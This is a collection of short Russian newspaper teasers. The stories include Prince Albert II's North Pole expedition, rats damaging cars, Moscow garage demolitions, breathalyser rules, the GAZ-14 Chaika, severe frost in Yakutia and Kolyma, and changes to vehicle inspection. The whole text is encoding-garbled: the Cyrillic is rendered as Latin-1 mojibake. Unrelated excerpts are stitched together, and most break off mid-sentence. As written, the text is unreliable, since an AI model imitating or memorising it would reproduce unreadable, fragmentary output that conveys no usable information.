Â÷åðà ýêñïåäèöèÿ, âîçãëàâëÿåìàÿ ïðàâèòåëåì Ìîíàêî Àëüáåðîì II, äîñòèãëà Ñåâåðíîãî ïîëþñà
Íåóìîëèìûé âåòåð áüåò â ëèöî, çàáèðàåòñÿ ïîä êàïþøîí. Ïðÿòàòüñÿ áåñïîëåçíî.
Ñïðàøèâàþ îäíîãî èç "âèíîâíèêîâ" ïåðåõîäà ïðåçèäåíòà Ðîññèéñêîé àññîöèàöèè ïîëÿðíèêîâ, Ãåðîÿ Ñîâåòñêîãî Ñîþçà Àðòóðà Íèêîëàåâè÷à ×èëèíãàðîâà, êàê àðèñòîêðàò âîñïðèíÿë óäàðû ëåäÿíîé ñòèõèè?
- Çíàåøü, íè÷åãî àðèñòîêðàòè÷åñêîãî â åãî ìàíåðàõ ÿ íå çàìåòèë. Åùå íà ðîññèéñêîé ñòàíöèè "Áàðíåî", ïîêà øëè ïîñëåäíèå ïðèãîòîâëåíèÿ, êíÿçü íå ÷óðàëñÿ ÷åðíîâîé ðàáîòû. Íåäàðîì îí ÷ëåí Ìåæäóíàðîäíîãî îëèìïèéñêîãî êîìèòåòà, áîáñëåèñò, ó÷àñòíèê Îëèìïèéñêèõ èãð.
Ïîäãîòîâêà ê ïîõîäó áûëà ñåðüåçíàÿ. Ïðîõîäèëà îíà â Øâåöèè, â èçâåñòíîé ãîñòèíèöå, ïîñòðîåííîé ïîëíîñòüþ èçî ëüäà. Âîò...
Êîãäà ëåéòåíàíò è ïðàïîðùèê ïîÿâèëèñü íà ðûíêå ðàéîííîãî öåíòðà Øàëè, ïðîäàâùèöà Çàðãàí Ýïåíäèåâà ïîäóìàëà: õîòü áû êî ìíå ïîäîøëè è ÷òî-íèáóäü êóïèëè - âòîðîé äåíü áåç âûðó÷êè. Îíà ìàøèíàëüíî ïîïðàâèëà íà ïðèëàâêå íåõèòðûå òîâàðû - ñèãàðåòû, êîíñåðâû, ìàêàðîíû â ïàêåòàõ, áóòûëêè ñ ãàçèðîâêîé. Âîåííûå ìåäëåííî äâèãàëèñü âäîëü ðÿäîâ ñ ëîòêàìè. Âäðóã ðàçäàëñÿ ãðîìêèé õëîïîê. Çàðãàí óâèäåëà, êàê ê âîåííûì ïðèáëèæàåòñÿ áîðîäàòûé ÷å÷åíåö è íà õîäó ñòðåëÿåò...
Çàðãàí Ýïåíäèåâà - ÷åëîâåê î÷åíü âåñåëûé.
- Ñ÷èòàåòñÿ, ÷òî ñìåõ ñòàðèò, ÷òî îò íåãî ïîÿâëÿþòñÿ ìîðùèíêè. À ÿ óâåðåíà: åñëè ÷åëîâåê óíûëûé, òî æèçíü ó íåãî óêîðà÷èâàåòñÿ.
- Äëÿ ðàäîñòè äîëæíû áûòü ïðè÷èíû, ðàçâå íå òàê?
- Ó ìåíÿ îíè åñòü. Ñåãîäíÿ âîò âû ñ ãâàðäåéöàìè ïðèåõàëè. Çíà÷èò, êòî-òî ïîìíèò îáî ìíå - ïðèÿòíî.
Ìîé ïðîâîæàòûé - çàìåñòèòåëü êîìàíäèðà 70-ãî ãâàðäåéñêîãî ïîëêà ïî âîñïèòàòåëüíîé ðàáîòå Àëåêñàíäð Áîðèñåíêî ëàñêîâî óêîðÿåò æåíùèíó:
- Äà êàê æå, Çàðãàí, ìû òåáÿ ìîæåì çàáûòü! Òû æå íàøà ñåñòðåíêà, - ïîâåðíóâøèñü êî ìíå, äîáàâëÿåò: - Èìåííî ñ ýòîé óäèâèòåëüíîé æåíùèíû ó íàñ íà÷àëàñü íó ïóñòü íå äðóæáà, íî ïðî÷íàÿ ñâÿçü ñ...
10 àïðåëÿ ê Ñåâåðíîìó ïîëþñó íà ñîáà÷üèõ óïðÿæêàõ îòïðàâèëàñü ýêñïåäèöèÿ âî ãëàâå ñ êíÿçåì Ìîíàêî Àëüáåðîì II. Âîò òàê àðèñòîêðàò, ïðèâûêøèé ê ÿõòàì, ëè÷íûì ñàìîëåòàì è "ðîëñðîéñàì", ñìåíèë ñðåäñòâî ïåðåäâèæåíèÿ.
Ïîäãîòîâêó, îðãàíèçàöèþ è îáåñïå÷åíèå áåçîïàñíîñòè ïåðåõîäà âçÿëè íà ñåáÿ ðîññèéñêèå ïîëÿðíèêè. Ðóêîâîäèò èìè èçâåñòíûé ïóòåøåñòâåííèê Äìèòðèé Øïàðî. 120-êèëîìåòðîâûé ìàðøðóò ïðîéäåò ïî òàê íàçûâàåìîìó ðóññêîìó ñåêòîðó Ëåäîâèòîãî îêåàíà. Ñòàðò - ñ ðîññèéñêîé ëåäîâîé áàçû "Áàðíåî", êîòîðàÿ ñåé÷àñ äðåéôóåò â ðàéîíå Øïèöáåðãåíà. Ãðóïïà èç âîñüìè ÷åëîâåê íàìåðåíà ïðîéòè âåñü ïóòü çà 6-7 äíåé. Åùå íèêîìó íå óäàâàëîñü äîñòè÷ü ñàìîé ñåâåðíîé òî÷êè çåìíîãî øàðà íà ñîáà÷üèõ óïðÿæêàõ. Ïðåäûäóùóþ ïîïûòêó ïðåäïðèíÿë çíàìåíèòûé ïîëÿðíûé èññëåäîâàòåëü íîðâåæåö Ôðèòüîô Íàíñåí áîëüøå ñòà ëåò íàçàä - â 1894 ãîäó. Îäíàêî îíà çàêîí÷èëàñü íåóäà÷åé. Òàê...
Ïåðåñòàë ðàáîòàòü ñèãíàë ïîâîðîòà. Îòêðûâàþ êàïîò è ãëàçàì íå âåðþ: ïðîâîäà, âåäóùåãî ê ôîíàðþ, êàê íå áûâàëî. Ïîâðåæäåíû ìíîãèå äðóãèå äåòàëè èç ïëàñòèêà, ñèëèêîíà, ðåçèíû. À ýòî ÷òî? Íà ìîòîðíîé ïëèòå, â âûåìêàõ êîëëåêòîðà êàêàÿ-òî øåðñòü, êóñî÷åê õëåáà, à âîêðóã - ãðÿçèùà. Íèêàê êðûñû ðåøèëè óñòðîèòü çäåñü ãíåçäî?..
Îêàçûâàåòñÿ, "êðûñèíàÿ ïðîáëåìà" âîëíóåò î÷åíü ìíîãèõ âëàäåëüöåâ ìàøèí. Íå ñïàñàþò îò íàøåñòâèÿ ãðûçóíîâ íè øèêàðíûå ìíîãîÿðóñíûå ãàðàæè, íè òåì áîëåå ïàðêèíãè ïîä îòêðûòûì íåáîì. Ñòîëèöà íàâîäíåíà êðûñàìè, è îíè íå "ñòåñíÿþòñÿ" çàëåçòü ïîä êàïîò, à åñëè åñòü âîçìîæíîñòü, òî è â ñàëîí. Çèìîé - ÷òîáû ñîãðåòüñÿ, âåñíîé - ÷òîáû ïîëàêîìèòüñÿ, ÷åì ïðèäåòñÿ. Åñëè íåò ñúåñòíîãî, ãðûçóíû íå áðåçãóþò ïðîâîäàìè, ðåçèíîé, äàæå ïëàñòèêîì. Ïîñëåäñòâèÿ íàáåãîâ óæàñíû.
Âî äâîðå ñãîðåë àâòîìîáèëü. Ñïåöèàëèñòû îïðåäåëèëè ïðè÷èíó: êîðîòêîå çàìûêàíèå âûñîêîâîëüòíûõ ïðîâîäîâ. Îíî ïðîèçîøëî îò òîãî, ÷òî ýòè ñàìûå ïðîâîäà áûëè ãîëûå. Êòî èõ îãîëèë íà íîâåõîíüêîé...
Íåäàâíåå ðàñïîðÿæåíèå ñòîëè÷íîé àäìèíèñòðàöèè îá èíâåíòàðèçàöèè è ïîñëåäóþùåì äåìîíòàæå â áëèæàéøèå òðè ìåñÿöà "íåçàêîííûõ" ïåíàëîâ è ðàêóøåê âûçâàëî áóðþ íåäîâîëüñòâà.  ßñåíåâå ÷ëåíû "ðàêóøå÷íîãî" êîîïåðàòèâà óñòðîèëè ìèòèíã ïðîòåñòà. Èõ ïîääåðæàëè ñîòíè àâòîìîáèëèñòîâ Ìîñêâû.
Ìîé ñîñåä Ñòåïàí êàðàóëèò óáåæèùå "æèãóëåíêà" ñ îðóæèåì â ðóêàõ, ïðàâäà, íåçàðÿæåííûì. Çíàêîìûé âîäèòåëü Èãîðü çàãîðàæèâàåò âúåçä â ïåíàë ìàøèíîé, êîãäà íà ãîðèçîíòå ïîÿâëÿåòñÿ êðàí äëÿ äåìîíòàæà, è ñèäèò â íåé. Äâà ðàçà "ëèêâèäàòîðû" óæå îòñòóïèëè...
Âîéíà ñ ðàêóøêàìè â ñòîëèöå âîò óæå íåñêîëüêî ëåò òî ðàçãîðàåòñÿ, òî çàòóõàåò. Ñòðåìëåíèå ÷èíîâíèêîâ "îñâîáîäèòü ê ëåòó" óëèöû è äâîðû îò æåëåçíûõ êîðîáîâ, ìîæåò, è ïîõâàëüíî, åñëè áû íå íåñêîëüêî åñòåñòâåííûõ "íî". Ãëàâíîå èç íèõ: çà÷åì â ñâîå âðåìÿ íàäî áûëî ðàçðåøàòü ñòàâèòü ýòè ñîîðóæåíèÿ?! Òàê ÷òî íûíåøíèå âåñåííèå ïîòóãè ëèêâèäèðîâàòü ïåíàëû - âñåãî ëèøü ðàáîòà íàä îøèáêàìè ñàìèõ...
Íà äíÿõ ìåäèêè âíåñëè íåçíà÷èòåëüíûå èçìåíåíèÿ â ïðàâèëà îïðåäåëåíèÿ ñîñòîÿíèÿ íà àëêîãîëü ÷åëîâåêà çà ðóëåì. Îäíàêî è îíè âñòðå÷åíû àâòîëþáèòåëÿìè â øòûêè. Íåêîòîðûå ïîñïåøèëè îáâèíèòü ýñêóëàïîâ, à çàîäíî è ñëóæèòåëåé ïîëîñàòîãî æåçëà, ÷òî îíè áóäòî áû ââåëè "âçÿòêîåìêèå" ïîïðàâêè, êîòîðûå ïîçâîëÿò îáèðàòü âîäèòåëåé ÷óòü ëè íå íà çàêîííûõ îñíîâàíèÿõ. Òàê ëè ýòî?
Ñïðàøèâàþ Àíäðåÿ Ñàïðûãèíà (ñòàæ çà ðóëåì 15 ëåò): ÷òî åãî êîíêðåòíî íå óñòðàèâàåò?
- Ðàíüøå âðà÷è áðàëè íà àíàëèç ìî÷ó, ñëþíó, êðîâü. À òåïåðü äóíóë â òðóáî÷êó ïàðó ðàç ñ èíòåðâàëîì â 20 ìèíóò - è ãîòîâî çàêëþ÷åíèå. À âäðóã ïðèáîð âðåò?!
- Òàêîå, êîíå÷íî, áûâàåò, íî ïðè ÷åì çäåñü âçÿòêè?
- À ïðè òîì, ÷òî "íàøè" 20 ìèíóò - ñîâñåì íå òî, ÷òî ïîêàçûâàþò ÷àñû. Âðåìÿ ìîæíî è ïðîäëèòü â çàâèñèìîñòè îò ñãîâîð÷èâîñòè âîäèòåëÿ. Åãî ãîòîâíîñòè äàòü âçÿòêó, åñëè îí, äîïóñòèì, âûïèë ñòàêàí êîêòåéëÿ. Çàïàõ îò íåãî óëåòó÷èâàåòñÿ â òå÷åíèå 40 ìèíóò, à îò áóòûëêè ïèâà - çà ïîëòîðà ÷àñà. Òàê ÷òî 20 ìèíóò çàïðîñòî ìîãóò ïðåâðàòèòüñÿ è â 40, è â 60, è...
Ýëèòàðíûé àâòîìîáèëü ÃÀÇ-14 "×àéêà" îòìåòèë 30-ëåòíèé äåíü ðîæäåíèÿ. Ïîëþáèâøàÿñÿ ïðàâèòåëÿì
Ýëèòàðíûé àâòîìîáèëü ÃÀÇ-14 "×àéêà" îòìåòèë 30-ëåòíèé äåíü ðîæäåíèÿ. Ïîëþáèâøàÿñÿ ïðàâèòåëÿì ñîâåòñêîãî âðåìåíè, ìàøèíà äåéñòâèòåëüíî áûëà íåîáû÷íà. Âïåðâûå çäåñü ïîÿâèëèñü ýëåêòðè÷åñêèå ñòåêëîïîäúåìíèêè, èíäèâèäóàëüíàÿ àâòîìàòè÷åñêàÿ ñèñòåìà âåíòèëÿöèè è îòîïëåíèÿ è äàæå ýëåêòðîííîå çàæèãàíèå. Àâòîìîáèëü èìåë 220 ëîøàäèíûõ ñèë ïîä êàïîòîì è ìîã ðàçãîíÿòüñÿ äî 175 êèëîìåòðîâ â ÷àñ. Ïî òåì âðåìåíàì ýòî áûë áîëüøîé ñêà÷îê âïåðåä, ïðàâäà, òîëüêî äëÿ Ðîññèè. Îäèí èç ïåðâûõ ýêçåìïëÿðîâ íîâèíêè áûë ïîäàðåí ãåíñåêó Ëåîíèäó Áðåæíåâó - áîëüøîìó ëþáèòåëþ ïîêàòàòüñÿ íà àâòî.
"×àéêó" Ãîðüêîâñêèé àâòîçàâîä ïðåêðàòèë âûïóñêàòü â 1988 ãîäó. Âñåãî æå...
Êîãäà æèòåëè óçíàëè, ÷òî ê íèì ïðèëåòåë æóðíàëèñò èç Ìîñêâû, òî äðóæíî çàóëûáàëèñü, êòî-òî íå áåç èðîíèè çàìåòèë: "À ìû äóìàëè, ÷òî â ñòîëèöå âñå ïåðåìåðçëè. Ñìîòðèøü òåëåâèçîð, à òàì óæàñû ïîêàçûâàþò, êàê ìåðçíóò ìîñêâè÷è ïðè 25 ãðàäóñàõ ìîðîçà". ß íåâîëüíî ãëÿíóë íà òåðìîìåòð: êðàñíûé ñòîëáèê ïåðåâàëèë çà îòìåòêó 50. Ñî çíàêîì ìèíóñ. Îòâå÷àòü íà øóòêó ïðèøëîñü ýêñïðîìòîì: íàøè ãðàäóñû, äåñêàòü, õîëîäíåå âàøèõ...
Íà 380-ì êèëîìåòðå Êîëûìñêîé òðàññû ñâîðà÷èâàåì âïðàâî è äîëãî åäåì ïî çèìíèêó. Ñëåâà â ãëàçà áðîñàþòñÿ çäàíèÿ ñ âûáèòûìè ñòåêëàìè, äûìÿùèå òðóáû èç îêîí, áî÷êè èç-ïîä ñîëÿðêè ó ïîäúåçäîâ è òóàëåòû èç ñòðóãàíûõ äîñîê íà óëèöàõ - øòóê 10. Ýòî è åñòü çàìåðçøåå ñåëî Êîëûìñêîå.
Ó ïåðâîãî äîìà æåíùèíà íàñûïàåò â âåäðà óãîëü. Çîâóò åå Ëàðèñà.
- Çà 10 ëåò, ÷òî ÿ ñ ìóæåì è ñûíîì çäåñü, òàêîå òâîðèòñÿ âïåðâûå, - îáúÿñíÿåò îíà. - Ðàíüøå ìû æèëè òåïëåå. Òåïåðü âîò òîïèì äâå áóðæóéêè, íî åñëè íà ïîëó îñòàâèøü âåäðî ñ âîäîé, òî óòðîì òàì áóäåò ëåä. Óæå êîòîðûé ìåñÿö ñïèì â òåïëîé îäåæäå è ïîñòîÿííî ñëåäèì, ÷òîáû îãîíü â ïå÷óðêàõ íå ïîãàñ - çàìåðçíåì!
Ëàðèñà...
Äìèòðèé Ïàâëîâ èç ÿêóòñêîãî ñåëà Õàêòàãàé âëþáèëñÿ â Ìàðèþ, êîãäà ó÷èëñÿ â òåõíèêóìå íà àâòîìåõàíèêà. Óõàæèâàòü çà äåâóøêîé åìó ïðèøëîñü ïÿòü ëåò. Òàê æå îñíîâàòåëüíî ïîäîøëè ìîëîäûå ñóïðóãè è ê îðãàíèçàöèè ñåìåéíîãî î÷àãà: ïîñòðîèëè ñâîé äîì íà âå÷íîé ìåðçëîòå.
Íà 40-ãðàäóñíîì ìîðîçå îêíà äâóõýòàæíîãî äîìà ñâåòÿòñÿ îñîáåííî óþòíî. Òðè ñîáàêè ñ çàèíäåâåâøåé øåðñòüþ çàëèâàþòñÿ çâîíêèì ëàåì. Õîçÿèí áûñòðî çàãîíÿåò èõ â êîíóðû è íà÷èíàåò ïîêàç. Âîò äâîð, âîò ãàðàæ, çäåñü ìåñòî, ãäå áóäåò ñòîÿòü áàíÿ. À ïîòîì âåäåò âî âíóøèòåëüíóþ ïðèñòðîéêó:
- Òóò ó ìåíÿ "ýíåðãåòè÷åñêîå ñåðäöå"!
Òåïëî â äîì èäåò îò ñïåöèàëüíîé ïå÷è, êîòîðàÿ ðàññ÷èòàíà íà äðîâà, óãîëü, ìàçóò, ãàç. 200-ëèòðîâûé áàê - äëÿ âîäû. Ê äîìó ïîäâåäåíî ýëåêòðè÷åñòâî. Òóàëåò, ñàìî ñîáîé. Êîðî÷å, òóíäðà ñî âñåìè óäîáñòâàìè.
Áîëüøèíñòâî äîìîâ, êîòîðûå ÿ âèäåë â ßêóòèè, ñòîÿò íà ñâàÿõ. À ÷òî äåëàòü, âíèçó - âå÷íàÿ ìåðçëîòà. Íî Äìèòðèé îáúÿñíÿåò:
-...
Îá ýòîì ïðèáåæèùå äëÿ îïóñòèâøèõñÿ ïüÿíèö ÿ óçíàë îò áîìæà, ñòîÿâøåãî ó ãîñòèíèöû "Ëåíà" â öåíòðå ßêóòñêà è êëÿí÷èâøåãî íà îïîõìåëêó. Çàáûâ ïîáëàãîäàðèòü, îí ñ ãîðå÷üþ ïðîèçíåñ: "Âèäèøü, äî ÷åãî äîêàòèëñÿ? Íàäî îïÿòü åõàòü â "Àð÷û" ê Íèêîëàé Íèêîëàè÷ó. Îí æå èç íàøèõ - âñå ïîíèìàåò... "
Íèêîëàÿ ßêîâëåâà ÿ íàøåë â ñåëå Áîðîãîíöû. Ýòî ÷àñàõ â ïÿòè åçäû îò ßêóòñêà. Ïî çäåøíèì ìåðêàì - ðóêîé ïîäàòü. Ñïðàøèâàòü, ïî÷åìó áîìæ ñ÷èòàåò ßêîâëåâà ñâîèì, ìíå íå ïðèøëîñü: Íèêîëàé Íèêîëàåâè÷ ñàì íà÷àë ðàçãîâîð ñ ùåêîòëèâîãî ìîìåíòà:
- ß íàñëåäñòâåííûé îõîòíèê. Òðèäöàòü ëåò îòäàë ýòîìó äåëó. Äîðîñ äî îõîòîâåäà, ñòàë ïðèíèìàòü îò ïðîìûñëîâèêîâ øêóðêè äèêîãî çâåðÿ. À ýòî î÷åíü ñïèðòîíîñíîå çàíÿòèå. Îõîòíèêè èç òàéãè ïðèåõàëè ñ ïóøíèíîé - êàê ñ íèìè íå âûïüåøü? Íà÷àëüñòâî íàãðÿíóëî - êàê íå óãîñòèòü?  îáùåì, ïîäðóæèëñÿ ÿ ñ "çåëåíûì çìèåì" êðåïêî-íàêðåïêî. Äóìàë, îêî÷óðþñü. Íî ïÿòíàäöàòü ëåò íàçàä ÷òî-òî âíóòðè ìåíÿ ïðîèçîøëî - áðîñèë...
Íî÷üþ íà òðàññå, ñîåäèíÿþùåé äâà áåðåãà âåëèêîé ñèáèðñêîé ðåêè, ïðîâàëèëñÿ "ÊàìÀÇ". Îí âåç ÿáëîêè. Ýòî óæå ïÿòûé àâòîìîáèëü çà íûíåøíèé ñåçîí, êîòîðîìó íå ïîâåçëî. À âåäü ÿ êàê ðàç â÷åðà âå÷åðîì âîçâðàùàëñÿ èç Óñòü-Àëäàíñêîãî óëóñà â ßêóòñê èìåííî ïî ýòîìó "ìîñòó"...
Ìîé ãèä - âîäèòåëü "Âîëãè" Ãåííàäèé Çàõàðîâ ëåò ïÿòíàäöàòü ðóëèò ïî ÿêóòñêèì äîðîãàì. Ïîêà ìû âûåçæàåì èç ãîðîäà, îí âåñåë:
- Åñëè áû âñå äîðîãè â ðåñïóáëèêå áûëè òàêèå, êàê ýòè, òî ÿ áû îòäûõàë çà áàðàíêîé. Àñôàëüò, õîòü è ñ âûáîèíàìè, íî - òâåðäü çåìíàÿ!
×òî Ãåíà èìåë â âèäó, ñòàíîâèòñÿ ÿñíî, êàê òîëüêî àñôàëüò îáðûâàåòñÿ. Ïîä êîëåñàìè ìåñèâî èç ñíåãà, áóåðàêè, ðûòâèíû. Äîðîãîé ýòî íàçâàòü òðóäíî, îíà åäâà óãàäûâàåòñÿ. Àâòî òî è äåëî öåïëÿåò äíèùåì çà òâåðäûå ñíåæíûå áóãðû. Ìû âûåõàëè íà îäíó èç ïðîòîê Ëåíû. Ìàøèí ìíîãî, íî âñå äðóã äðóãó âåæëèâî óñòóïàþò ïóòü.
- Ëåòîì Ëåíà ðàçëèâàåòñÿ, è çäåñü ñòîèò âîäà. Ïèëèòü äî ëåäîâîé ïåðåïðàâû...
Óäèâèòåëåí ãåðá ãîðîäà, óêðàøåííûé ïÿòüþ ðûáêàìè - õàðèóñàìè. Ýòî ãåðá Íåðþíãðè. Ðûáêè îáðàìëÿþò òðè ñòîëáà äëÿ ïðèâÿçè ëîøàäåé - òàê íàçûâàåìûå ñâÿùåííûå ñåðãý. Åñëè îíè ñòîÿò ó äîìà, çíà÷èò, òóò æèâóò áîãàòûå õîçÿåâà. Îäíàêî äàëåêî íå âñå æèëèùà èìåþò ýòè ñâÿùåííûå îáåðåãè. È õàðèóñû ïîÿâëÿþòñÿ íà ñòîëå íå â êàæäîì äîìå.
Ýòà ðûáà âñòðå÷àåòñÿ òîëüêî â þæíûõ ðàéîíàõ ßêóòèè. Ïî ðåäêîñòè åé íå óñòóïàþò ÷èð, ìóêñóí, òàéìåíü, ãîðáóøà, íåëüìà, îñåòð, êîòîðûå âîäÿòñÿ â çäåøíèõ ðåêàõ, íî òîæå íå ÷àñòûå ãîñòè â òàðåëêàõ áîëüøèíñòâà æèòåëåé ßêóòèè. Çàòî â êàæäîì äîìå âñåãäà íàéäåòñÿ êàðàñü.
Åãî ïåêóò, æàðÿò, âàðÿò èç íåãî óõó, ôàðøèðóþò - ÷åãî òîëüêî íå ãîòîâÿò. Ìåæäó òåì êîëè÷åñòâî "íàðîäíîé ðûáû" íå ñîêðàùàåòñÿ. Íî ñàìîå èíòåðåñíîå íå êóõîííîå êîëäîâñòâî, à ïðîöåññ ëîâëè. Òàêîå â öåíòðàëüíîé Ðîññèè âðÿä ëè ãäå óâèäèøü. Î íåì ìíå ðàññêàçàë Íèêîëàé Íèêèòèí ðîäîì èç ñåëà Õàêòàãàé Óñòü-Àëäàíñêîãî óëóñà.
Ãëóáîêîé îñåíüþ, à èíîãäà è çèìîé, êàê òîëüêî ëüäîì ïîêðûâàþòñÿ...
Óæå íåñêîëüêî ëåò âëàñòè ïûòàþòñÿ íàâåñòè â ýòîì äåëå ïîðÿäîê: ëèêâèäèðîâàòü ìçäîèìñòâî ïðîâåðÿþùèõ ðàáîòíèêîâ ÃÈÁÄÄ, óáðàòü äëèííûå î÷åðåäè â ïóíêòàõ ïðîâåðêè, óëó÷øèòü êà÷åñòâî êîíòðîëÿ çà ñîñòîÿíèåì àâòî. Íà ýòîò ðàç ïðàâèòåëüñòâî ïîøëî íà ðàäèêàëüíûå ìåðû, ðåøèâ îòîáðàòü ó ÃÈÁÄÄ ïðàâî íà ïðîâåäåíèå òåõîñìîòðà è ïåðåäàòü åãî ÷àñòíûì ïðåäïðèíèìàòåëÿì, êàê ýòî ñäåëàíî âî ìíîãèõ ñòðàíàõ Åâðîïû. Îá ýòîì íàêàíóíå çàÿâèë ðóêîâîäèòåëü àïïàðàòà ïðàâèòåëüñòâà Ñåðãåé ÍÀÐÛØÊÈÍ.
Ðàáîòíèêè íàøåé äîðîæíîé ïîëèöèè âðîäå áû äîëæíû ðàäîâàòüñÿ: íàêîíåö-òî ñ íèõ ñíÿëè ôóíêöèþ, êîòîðàÿ íåïîñðåäñòâåííî íå ñâÿçàíà ñ íàâåäåíèåì ïîðÿäêà íà äîðîãàõ. Îäíàêî ýíòóçèàçìà â ðÿäàõ ñëóæèòåëåé ïîëîñàòîãî æåçëà íå çàìå÷àåòñÿ. ß ðàçãîâàðèâàë ñ ãàèøíèêàìè â ïóíêòå òåõíè÷åñêîãî îñìîòðà, ÷òî íà Âàãîíîðåìîíòíîé óëèöå â ðàéîíå Äìèòðîâñêîãî øîññå. Ãîâîðÿò â îäèí ãîëîñ: çðÿ ïðàâèòåëüñòâî ýòî ñäåëàëî! ×åãî ãðåõà òàèòü, òåõîñìîòð ïðèíîñèë ëåâûå äîõîäû è ìíîãèì ïðîâåðÿþùèì, è èõ íà÷àëüíèêàì. Íî, ïîõîæå, èíñïåêòîðà íå áåç îñíîâàíèé óòâåðæäàþò, ÷òî ñèòóàöèÿ íà äîðîãàõ óõóäøèòñÿ ïîñëå òàêîãî øàãà âëàñòåé.
Òåõîñìîòð - ñåðüåçíîå ìåðîïðèÿòèå, òðåáóþùåå...
